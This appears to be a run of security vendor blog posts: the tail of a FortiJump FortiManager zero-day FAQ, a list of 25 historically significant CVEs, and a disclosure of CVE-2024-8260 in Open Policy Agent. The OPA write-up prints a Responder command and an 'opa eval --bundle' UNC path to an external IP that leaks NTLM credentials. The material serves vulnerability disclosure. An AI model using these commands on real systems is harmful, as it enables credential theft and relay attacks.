According to results from Shodan, there are nearly 60,000 FortiManager devices that are internet-facing, including over 13,000 in the United States, over 5,800 in China, nearly 3,000 in Brazil and 2,300 in India:

When was FortiJump first disclosed?

There were reports on Reddit that Fortinet proactively notified customers using FortiManager about the flaw ahead of the release of patches, though some customers say they never received any notifications. Beaumont posted a warning to Mastodon on October 13:

Post by @[email protected]View on Mastodon

 

Was this exploited as a zero-day?

Yes, according to both Beaumont and Fortinet, FortiJump has been exploited in the wild as a zero-day. Additionally, Google Mandiant published a blog post on October 23 highlighting its collaborative investigation with Fortinet into the “mass exploitation” of this zero-day vulnerability. According to Google Mandiant, they’ve discovered over 50 plus “potentially compromised FortiManager devices in various industries.”

Which threat actors are exploiting FortiJump?

Google Mandiant attributed exploitation activity to a new threat cluster called UNC5820, adding that the cluster has been observed exploiting the flaw since “as early as June 27, 2024.”

Is there a proof-of-concept (PoC) available for this vulnerability/these vulnerabilities?

As of October 23, there are no public proof-of-concept exploits available for FortiJump.

Are patches or mitigations available for FortiJump?

The following table contains a list of affected products, versions and fixed versions.

Affected ProductAffected VersionsFixed VersionFortiManager 6.26.2.0 through 6.2.12Upgrade to 6.2.13 or aboveFortiManager 6.46.4.0 through 6.4.14Upgrade to 6.4.15 or aboveFortiManager 7.07.0.0 through 7.0.12Upgrade to 7.0.13 or aboveFortiManager 7.27.2.0 through 7.2.7Upgrade to 7.2.8 or aboveFortiManager 7.47.4.0 through 7.4.4Upgrade to 7.4.5 or aboveFortiManager 7.67.6.0Upgrade to 7.6.1 or aboveFortiManager Cloud 6.46.4 all versionsMigrate to a fixed releaseFortiManager Cloud 7.07.0.1 through 7.0.12Upgrade to 7.0.13 or aboveFortiManager Cloud 7.27.2.1 through 7.2.7Upgrade to 7.2.8 or aboveFortiManager Cloud 7.47.4.1 through 7.4.4Upgrade to 7.4.5 or aboveFortiManager Cloud 7.6Not affectedNot Applicable

Fortinet’s advisory provides workarounds for specific impacted versions if patching is not feasible. These include blocking unknown devices from attempting to register to FortiManager, creating IP allow lists of approved FortiGate devices that can connect to FortiManager and the creation of custom certificates. Generally speaking, it is advised to ensure FGFM is not internet-facing.

Has Tenable released any product coverage for these vulnerabilities?

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2024-47575 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Get more information

• Burning Zero Days: FortiJump FortiManager vulnerability used by nation state in espionage via MSPs
• FortiGuard Labs PSIRT FG-IR-24-423 Advisory

Change Log

Update October 23: The blog has been updated with new information about in-the-wild exploitation and threat actor activity associated with this vulnerability.

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Twenty five years after the launch of CVE, the Tenable Security Response Team has handpicked 25 vulnerabilities that stand out for their significance.

Background

In January 1999, David E. Mann and Steven M. Christey published the paper “Towards a Common Enumeration of Vulnerabilities” describing an effort to create interoperability between multiple vulnerability databases. To achieve a common taxonomy for vulnerabilities and exposures, they proposed Common Vulnerabilities and Exposures (CVE). In September 1999, the MITRE Corporation finalized the first CVE list, which included 321 records. CVE was revealed to the world the following month.

As of October 2024, there are over 240,000 CVEs. including many that have significantly impacted consumers, businesses and governments. The Tenable Security Response Team has chosen to highlight the following 25 significant vulnerabilities, followed by links to product coverage for Tenable customers to utilize.

25 Significant CVEsCVE-1999-0211: SunOS Arbitrary Read/Write VulnerabilityArbitrary ReadArbitrary WriteLocalCritical1999Why it’s significant: To our knowledge, there is no formally recognized “first CVE.” However, the GitHub repository for CVE.org shows that the first CVE submitted was CVE-1999-0211 on September 29, 1999 at 12:00AM. Because it was the first one, we’ve chosen to highlight it. The vulnerability was first identified in 1991 and a revised patch was issued in 1994.CVE-2010-2568: Windows Shell Remote Code Execution VulnerabilityRemote Code ExecutionExploitedZero-DayLocalStuxnetHigh2010Why it’s significant: Regarded as one of the most sophisticated cyberespionage tools ever created, Stuxnet was designed to target SCADA systems in industrial environments to reportedly sabotage Iran's nuclear program. Stuxnet exploited CVE-2010-2568 as one of its initial infection vectors, spreading via removable drives. Once a compromised USB drive was inserted into a system, Stuxnet was executed automatically via the vulnerability, infecting the host machine, propagating to other systems through network shares and additional USB drives.CVE-2014-0160: OpenSSL Information Disclosure VulnerabilityHeartbleedInformation DisclosureExploitedZero-DayNetworkCybercriminalsHigh2014Why it’s significant: Dubbed “Heartbleed” because it was found in the Heartbeat extension of OpenSSL, this vulnerability allows an attacker, without prior authentication, to send a malicious heartbeat request with a false length field, claiming the packet contains more data than it does. The receiving system would then return data from its memory extending beyond the legitimate request, which may include sensitive private data, such as server keys and user credentials. OpenSSL is used by millions of websites, cloud services, and even VPN software, for encryption, making Heartbleed one of the most widespread vulnerabilities at the time.CVE-2014-6271: GNU Bash Shellshock Remote Code Execution VulnerabilityShellshock Bash Bug Remote Code ExecutionExploitedZero-DayNetworkCybercriminalsCritical2014Why it’s significant: An attacker could craft an environment variable that contained both a function definition and additional malicious code. When Bash, a command interpreter used by Unix-based systems including Linux and macOS, processed this variable, it would execute the function, but also run the arbitrary commands appended after the function definition. “Shellshock” quickly became one of the most severe vulnerabilities discovered, comparable to Heartbleed’s potential impact. Attackers could exploit Shellshock to gain full control of vulnerable systems, leading to data breaches, service interruptions and malware deployment. The impact extended far beyond local systems. Bash is used by numerous services, particularly web servers, via CGI scripts to handle HTTP requests.CVE-2015-5119: Adobe Flash Player Use After FreeRemote Code Execution Denial-of-ServiceExploitedZero-DayCybercriminalsAPT GroupsCritical2015Why it’s significant: Discovered during the Hacking Team data breach, it was quickly weaponized, appearing in multiple exploit kits. CVE-2015-5119 is a use-after-free flaw in Flash’s ActionScript ByteArray class, allowing attackers to execute arbitrary code by tricking users into visiting a compromised website. It was quickly integrated into attack frameworks used by Advanced Persistent Threat (APT) groups like APT3, APT18, and Fancy Bear (APT28). These groups, with ties to China and Russia, used the vulnerability to spy on and steal data from governments and corporations. Fancy Bear has been associated with nation-state cyber warfare, exploiting Flash vulnerabilities for political and military intelligence information gathering​. This flaw, along with several other Flash vulnerabilities, highlighted Flash’s risks, accelerating its eventual phase-out.CVE-2017-11882: Microsoft Office Equation Editor Remote Code Execution VulnerabilityRemote Code ExecutionExploitedNetworkCybercriminalsAPT GroupsHigh2017Why it’s significant: The vulnerability existed for 17 years in Equation Editor (EQNEDT32.EXE), a Microsoft Office legacy component used to insert and edit complex mathematical equations within documents. Once CVE-2017-11882 became public, cybercriminals and APT groups included it in maliciously crafted Office files. It became one of 2018’s most exploited vulnerabilities and continues to be utilized by various threat actors including SideWinder.CVE-2017-0144: Windows SMB Remote Code Execution VulnerabilityEternalBlueRemote Code ExecutionExploitedNetworkWannaCry NotPetyaHigh2017Why it’s significant: CVE-2017-0144 was discovered by the National Security Agency (NSA) and leaked by a hacker group known as Shadow Brokers, making it widely accessible. Dubbed “EternalBlue,” its capacity to propagate laterally through networks, often infecting unpatched machines without human interaction, made it highly dangerous. It was weaponized in the WannaCry ransomware attack in May 2017 and spread globally. It was reused by NotPetya, a data-destroying wiper originally disguised as ransomware. NotPetya targeted companies in Ukraine before spreading worldwide. This made it one of history’s costliest cyberattacks.CVE-2017-5638: Apache Struts 2 Jakarta Multipart Parser Remote Code Execution VulnerabilityRemote Code ExecutionExploitedNetworkEquifax BreachCritical2017Why it’s significant: This vulnerability affects the Jakarta Multipart Parser in Apache Struts 2, a popular framework for building Java web applications. An attacker can exploit it by injecting malicious code into HTTP headers during file uploads, resulting in remote code execution (RCE), giving attackers control of the web server. CVE-2017-5638 was used in the Equifax breach, where personal and financial data of 147 million people was stolen, emphasizing the importance of patching widely-used frameworks, particularly in enterprise environments, to prevent catastrophic data breaches.CVE-2019-0708: Remote Desktop Services Remote Code Execution VulnerabilityBlueKeep DejaBlue Remote Code ExecutionExploitedNetworkRansomware GroupsCybercriminalsCritical2019Why it’s significant: Dubbed "BlueKeep," this vulnerability in Windows Remote Desktop Services (RDS) was significant for its potential for widespread, self-propagating attacks, similar to the infamous WannaCry ransomware. An attacker could exploit this flaw to execute arbitrary code and take full control of a machine through Remote Desktop Protocol (RDP), a common method for remote administration. BlueKeep was featured in the Top Routinely Exploited Vulnerabilities list in 2022 and was exploited by affiliates of the LockBit ransomware group.CVE-2020-0796: Windows SMBv3 Client/Server Remote Code Execution VulnerabilitySMBGhost EternalDarknessRemote Code ExecutionExploited NetworkCybercriminalsRansomware GroupsCritical2020Why it’s significant: Its discovery evoked memories of EternalBlue because of the potential for it to be wormable, which is what led to it becoming a named vulnerability. Researchers found it trivial to identify the flaw and develop proof-of-concept (PoC) exploits for it. It was exploited in the wild by cybercriminals, including the Conti ransomware group and its affiliates.CVE-2019-19781: Citrix ADC and Gateway Remote Code Execution VulnerabilityPath TraversalExploitedNetworkAPT GroupsRansomware GroupsCybercriminalsCritical2019Why it’s significant: This vulnerability in Citrix Application Delivery Controller (ADC) and Citrix Gateway is significant due to its rapid exploitation by multiple threat actors, including state-sponsored groups and ransomware affiliates. By sending crafted HTTP requests, attackers could gain RCE and take full control of affected devices to install malware or steal data. The vulnerability remained unpatched for a month after its disclosure, leading to widespread exploitation. Unpatched systems are still being targeted today, highlighting the risk of ignoring known vulnerabilities.CVE-2019-10149: Exim Remote Command Execution VulnerabilityRemote Command ExecutionExploitedNetworkAPT GroupsCybercriminalsCritical2019Why it’s significant: This vulnerability in Exim, a popular Mail Transfer Agent, allows attackers to execute arbitrary commands with root privileges simply by sending a specially crafted email. The availability of public exploits led to widespread scanning and exploitation of vulnerable Exim servers, with attackers using compromised systems to install cryptocurrency miners (cryptominers), launch internal attacks or establish persistent backdoors. The NSA warned that state-sponsored actors were actively exploiting this flaw to compromise email servers and gather sensitive information.CVE-2020-1472: Netlogon Elevation of Privilege VulnerabilityZerologonElevation of PrivilegeExploitedLocalRansomware GroupsAPT GroupsCybercriminalsCritical2020Why it’s significant: This vulnerability in the Netlogon Remote Protocol (MS-NRPC) allows attackers with network access to a Windows domain controller to reset its password, enabling them to impersonate the domain controller and potentially take over the entire domain. Its severity was underscored when Microsoft reported active exploitation less than two months after disclosure and the Cybersecurity and Infrastructure Security Agency (CISA) issued an emergency directive to patch the flaw. Despite available patches, it continues to be exploited by ransomware groups, APT groups, and others, highlighting its broad and ongoing impact on network security.CVE-2017-5753: CPU Speculative Execution Bounds Check Bypass VulnerabilitySpectreSpeculative Execution Bounds Check BypassLocalMedium2018Why it’s significant: In a speculative execution process, an idle microprocessor waiting to receive data speculates what the next instruction might be. Although meant to enhance performance, this process became a fundamental design flaw affecting the security of numerous modern processors. In Spectre’s case, an attacker-controlled process could read arbitrary memory belonging to another process. Since its discovery in January 2018, Spectre has affected nearly all modern processors from Intel, AMD and ARM. While it’s difficult to execute a successful Spectre attack, fully remediating the root cause is hard and requires microcode as well as operating system updates to mitigate the risk.CVE-2017-5754: CPU Speculative Execution Rogue Data Cache Load VulnerabilityMeltdownSpeculative Execution Rogue Data Cache LoadLocalHigh2018Why it’s significant: Meltdown, another speculative execution vulnerability released alongside Spectre, can allow a userspace program to read privileged kernel memory. It exploits a race condition between the memory access and privilege checking while speculatively executing instructions. Meltdown impacts desktop, laptop and cloud systems and, according to researchers, may affect nearly every Intel processor released since 1995. With a wide reaching impact, both Spectre and Meltdown sparked major interest in a largely unexplored security area. The result: a slew of research and vulnerability discoveries, many of which were also given names and logos. While there’s no evidence of a successful Meltdown exploit, the discovery showcased the risk of security boundaries enforced by hardware.CVE-2021-36942: Windows LSA Spoofing VulnerabilityPetitPotamSpoofingExploitedZero-DayNetworkRansomware GroupsHigh2021Why it’s significant: This vulnerability can force domain controllers to authenticate to an attacker-controlled destination. Shortly after a PoC was disclosed, it was adopted by ransomware groups like LockFile, which have chained Microsoft Exchange vulnerabilities with PetitPotam to take over domain controllers. Patched in the August 2021 Patch Tuesday release, the initial patch for CVE-2021-36942 only partially mitigated the issue, with Microsoft pushing general mitigation guidance for defending against NTLM Relay Attacks.CVE-2022-30190: Microsoft Windows Support Diagnostic Tool Remote Code ExecutionFollinaRemote Code ExecutionExploitedZero-DayLocalQakbot RemcosHigh2022Why it’s significant: Follina, a zero-day RCE vulnerability in MSDT impacting several versions of Microsoft Office, was later designated CVE-2022-30190. After public disclosure in May 2022, Microsoft patched Follina in the June 2022 Patch Tuesday. After disclosure, reports suggested that Microsoft dismissed the flaw’s initial disclosure as early as April 2022. Follina has been widely adopted by threat actors and was associated with some of 2021’s top malware strains in a joint cybersecurity advisory from CISA and the Australian Cyber Security Centre (ACSC), operating under the Australian Signals Directorate (ASD).CVE-2021-44228: Apache Log4j Remote Code Execution VulnerabilityLog4ShellRemote Code ExecutionExploitedNetworkCybercriminalsAPT GroupsCritical2021Why it’s significant: Log4j, a Java logging library widely used across many products and services, created a large attack surface. The discovery of CVE-2021-44228, dubbed “Log4Shell,” caused great concern, as exploitation simply requires sending a specially crafted request to a server running a vulnerable version of Log4j. After its disclosure, Log4Shell was exploited in attacks by cryptominers, DDoS botnets, ransomware groups and APT groups including those affiliated with the Iranian Islamic Revolutionary Guard Corps (IRGC).CVE-2021-26855: Microsoft Exchange Server Server-Side Request Forgery VulnerabilityProxyLogonServer-Side Request Forgery (SSRF)ExploitedZero-DayNetworkAPT Groups Ransomware GroupsCybercriminalsCritical2021Why it’s significant: CVE-2021-26855 was discovered as a zero-day along with four other vulnerabilities in Microsoft Exchange Server. It was exploited by a nation-state threat actor dubbed HAFNIUM. By sending a specially crafted HTTP request to a vulnerable Exchange Server, an attacker could steal the contents of user mailboxes using ProxyLogon. Outside of HAFNIUM, ProxyLogon has been used by ransomware groups and other cybercriminals. Its discovery created a domino effect, as other Exchange Server flaws, including ProxyShell and ProxyNotShell, were discovered, disclosed and subsequently exploited by attackers.CVE-2021-34527: Microsoft Windows Print Spooler Remote Code Execution VulnerabilityPrintNightmareRemote Code ExecutionExploitedLocalAPT GroupsRansomware GroupsCybercriminalsHigh2021Why it’s significant: This RCE in the ubiquitous Windows Print Spooler could grant authenticated attackers arbitrary code execution privileges as SYSTEM. There was confusion surrounding the disclosure of this flaw, identified as CVE-2021-34527 and dubbed “PrintNightmare.” Originally, CVE-2021-1675, disclosed in June 2021, was believed to be the real PrintNightmare. However, Microsoft noted CVE-2021-1675 is “similar but distinct” from PrintNightmare. Since its disclosure, several Print Spooler vulnerabilities were disclosed, while a variety of attackers, including the Magniber and Vice Society ransomware groups exploited PrintNightmare.CVE-2021-27101: Accellion File Transfer Appliance (FTA) SQL Injection VulnerabilitySQL InjectionExploitedZero-DayNetworkRansomware GroupCritical2021Why it’s significant: The file transfer appliance from Accellion (now known as Kiteworks) was exploited as a zero-day by the CLOP ransomware group between December 2020 and early 2021. Mandiant, hired by Kiteworks to investigate, determined that CLOP (aka UNC2546) exploited several flaws in FTA including CVE-2021-27101. This was CLOP’s first foray into targeting file transfer solutions, as they provide an easy avenue for the exfiltration of sensitive data that can be used to facilitate extortion.CVE-2023-34362: Progress Software MOVEit Transfer SQL Injection VulnerabilitySQL InjectionExploitedZero-DayNetworkRansomware GroupCritical2023Why it’s significant: CLOP’s targeting of file transfer solutions culminated in the discovery of CVE-2023-34362, a zero-day in Progress Software’s MOVEit Transfer, a secure managed file transfer software. CLOP targeted MOVEit in May 2023 and the ramifications are still felt today. According to research conducted by Emsisoft, 2,773 organizations have been impacted and information on over 95 million individuals has been exposed as of October 2024. This attack underscored the value in targeting file transfer solutions.CVE-2023-4966: Citrix NetScaler and ADC Gateway Sensitive Information Disclosure VulnerabilityCitrixBleedInformation DisclosureExploitedZero-DayNetworkRansomware GroupsAPT GroupsCritical2023Why it’s significant: CVE-2023-4966, also known as “CitrixBleed,” is very simple to exploit. An unauthenticated attacker could send a specially crafted request to a vulnerable NetScaler ADC or Gateway endpoint and obtain valid session tokens from the device’s memory. These session tokens could be replayed back to bypass authentication, and would persist even after the available patches had been applied. CitrixBleed saw mass exploitation after its disclosure, and ransomware groups like LockBit 3.0 and Medusa adopted it.CVE-2023-2868: Barracuda Email Security Gateway (ESG) Remote Command Injection VulnerabilityRemote Command InjectionExploitedZero-DayNetworkAPT GroupsCritical2023Why it’s significant: Researchers found evidence of zero-day exploitation of CVE-2023-2868 in October 2022 by the APT group UNC4841. While Barracuda released patches in May 2023, the FBI issued a flash alert in August 2023 declaring them “ineffective,” stating that “active intrusions” were being observed on patched systems. This led to Barracuda making an unprecedented recommendation for the “immediate replacement of compromised ESG appliances, regardless of patch level.”CVE-2024-3094: XZ Utils Embedded Malicious Code VulnerabilityEmbedded Malicious CodeZero-DayUnknown Threat Actor (Jia Tan)Critical2024Why it’s significant: CVE-2024-3094 is not a traditional vulnerability. It is a CVE assigned for a supply-chain backdoor discovered in XZ Utils, a compression library found in various Linux distributions. Developer Andres Freund discovered the backdoor while investigating SSH performance issues. CVE-2024-3094 highlighted a coordinated supply chain attack by an unknown individual that contributed to the XZ GitHub project for two and a half years, gaining the trust of the developer before introducing the backdoor. The outcome of this supply chain attack could have been worse were it not for Freund’s discovery.Identifying affected systems

A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages:

• CVE-1999-0211
• CVE-2010-2568
• CVE-2014-0160
• CVE-2014-6271
• CVE-2015-5119
• CVE-2017-11882
• CVE-2017-0144
• CVE-2017-5638
• CVE-2019-0708
• CVE-2020-0796
• CVE-2019-19781
• CVE-2019-10149
• CVE-2020-1472
• CVE-2017-5753
• CVE-2017-5754
• CVE-2021-36942
• CVE-2022-30190
• CVE-2021-44228
• CVE-2021-26855
• CVE-2021-34527
• CVE-2021-27101
• CVE-2023-34362
• CVE-2023-4966
• CVE-2023-2868
• CVE-2024-3094

Tenable Research discovered an SMB force-authentication vulnerability in Open Policy Agent (OPA) that is now fixed in the latest release of OPA. The vulnerability could have allowed an attacker to leak the NTLM credentials of the OPA server's local user account to a remote server, potentially allowing the attacker to relay the authentication or crack the password. The vulnerability affected both the OPA CLI (Community and Enterprise editions) and the OPA Go SDK.

TL;DR

During our research into policy-as-code tools, we decided to explore one of the most widely used policy engines, Open Policy Agent (OPA), which is leveraged and integrated by numerous vendors and projects. This exploration led us to discover an SMB force-authentication vulnerability (CVSSv3 6.1) affecting all existing versions of OPA for Windows at that time. If an attacker can execute the OPA CLI or the OPA Go package with control over file-related arguments, they can pass an arbitrary UNC share instead of a Rego rule or bundle. This could lead to the leakage of the NTLM credentials of the local user to a remote server, potentially allowing the attacker to relay the authentication or crack the password. This vulnerability has been assigned CVE-2024-8260, and a fix is now available in the latest release of OPA (v0.68.0).

Open Policy Agent (OPA) primer

Open Policy Agent (OPA) is an open-source, general-purpose policy engine written in Go and created by Styra. One notable use-case of OPA is admission control in Kubernetes, particularly through the popular Open Policy Agent Gatekeeper project. OPA has its own high-level, declarative policy language - Rego. In addition to the open-source project, OPA offers an Enterprise edition designed to handle large volumes of requests while maintaining the same policy evaluation functionality. Policies can be periodically fetched from a predefined source, such as a repository or cloud storage, or passed as an argument to the OPA CLI or one of the OPA Go SDK functions - which is where our vulnerability comes into play.

CVE-2024-8260: SMB force-authentication

Policies can be passed to the OPA CLI or to one of the OPA Go package’s functions when integrating with the Go SDK. You can provide either a single rule file or a policy bundle file, which OPA will use for policy evaluation. We were curious to see what kinds of inputs these parameters accept.

One experiment involved passing a Universal Naming Convention (UNC) path as a Rego rule file. When a user or application attempts to access a remote share on Windows, it forces the local machine to authenticate to the remote server via NTLM, and during this process, the NTLM hash of the local user is sent to the remote server. An attacker can leverage this mechanism to capture the credentials on his end, allowing them to relay the authentication or crack the hashes offline.

OPA CLI exploitation

When we passed the UNC path as a Rego rule file on the victim machine, we received an error indicating that OPA attempted to access the remote share, as seen on the screenshot below.

This sparked our curiosity: what if we crafted a UNC path pointing to a server we control and monitored the SMB requests? We set up the bundle path CLI parameter as a UNC referencing a remote share on our external server and began monitoring the requests.

We used Responder on the attacker’s machine to emulate an SMB server and catch the SMB authentication attempts:

sudo python3 ./Responder.py -I eth0 -v

 

opa eval --bundle \\165.232.112.59\file "data"

To our surprise, OPA attempted to authenticate to my server (165.232.112.59), and I was able to capture the credentials on the attacker’s side.

Here’s the output on the victim:

 

 

These are the NTLM credentials caught on the attacker’s side:

 

 

We then played with different OPA commands via the CLI, and found that additional commands such as the opa run -s <path> and the opa eval -d <path> are also affected.

We then performed the same experiments on the Enterprise edition of OPA CLI, and found it was vulnerable to SMB force authentication as well.

OPA’s Go SDK exploitation

Then, we explored the OPA Go package functions through my own simple Go code to find affected components that could impact projects and vendors that integrate OPA via the Go SDK.

Simple Go code that abuses the vulnerability in the rego.LoadBundle function

Once again, passing a UNC - this time to the rego.LoadBundle function - triggered an error indicative of network access attempt.

Another example for a vulnerable function is the AsBundle function. When provided with a UNC, the bundle load functionality implemented in the AsBundle(<bundle_path>) function inside the loader.go package would attempt to access the remote share to load the bundle from.

OPA’s loader.go - a package containing utilities for loading files into OPA - prior to v0.68.0 

The problem stemmed from insufficient sanitization of the path provided as input in various functions that handle bundle or Rego rule loading. The provided path was inserted, after minimal checks, into the Go functions responsible for loading files from the file system. On Windows, this behavior triggers SMB authentication when a remote share is provided. As a fix, a check was added in all the affected symbols of the loader.go package that raises an error if a UNC is provided.

After the fix:

OPA’s loader.go - a package containing utilities for loading files into OPA - patched since v0.68.0 

OPA’s loader.go - a package containing utilities for loading files into OPA - patched since v0.68.0 

OPA CLI and OPA’s Go SDK Vulnerability and RemediationAffected CLI Version

The vulnerability exists in all versions of OPA for Windows prior to v0.68.0.

Affected Go Package

The affected package is github.com/open-policy-agent/opa/loader prior to v0.68.0. This package is responsible for loading policy and bundle files into OPA.

Affected symbols:

• All
• AllRegos
• AsBundle
• Filtered
• FilteredPaths
• FilteredPathsFS
• GetBundleDirectoryLoader
• GetBundleDirectoryLoaderFS
• GetBundleDirectoryLoaderWithFilter

To remediate, update OPA CLI and the OPA Go SDK to the latest version.

Conclusion

Our exploration of the Open Policy Agent (OPA) project revealed a long-standing vulnerability that had gone unnoticed. As open-source projects become integrated into widespread solutions, it is crucial to ensure they are secure and do not expose vendors and their customers to an increased attack surface. This underscores the need for collaboration between security and engineering teams to mitigate such risks. We appreciate the collaboration and the rapid resolution of the Styra team in addressing this issue.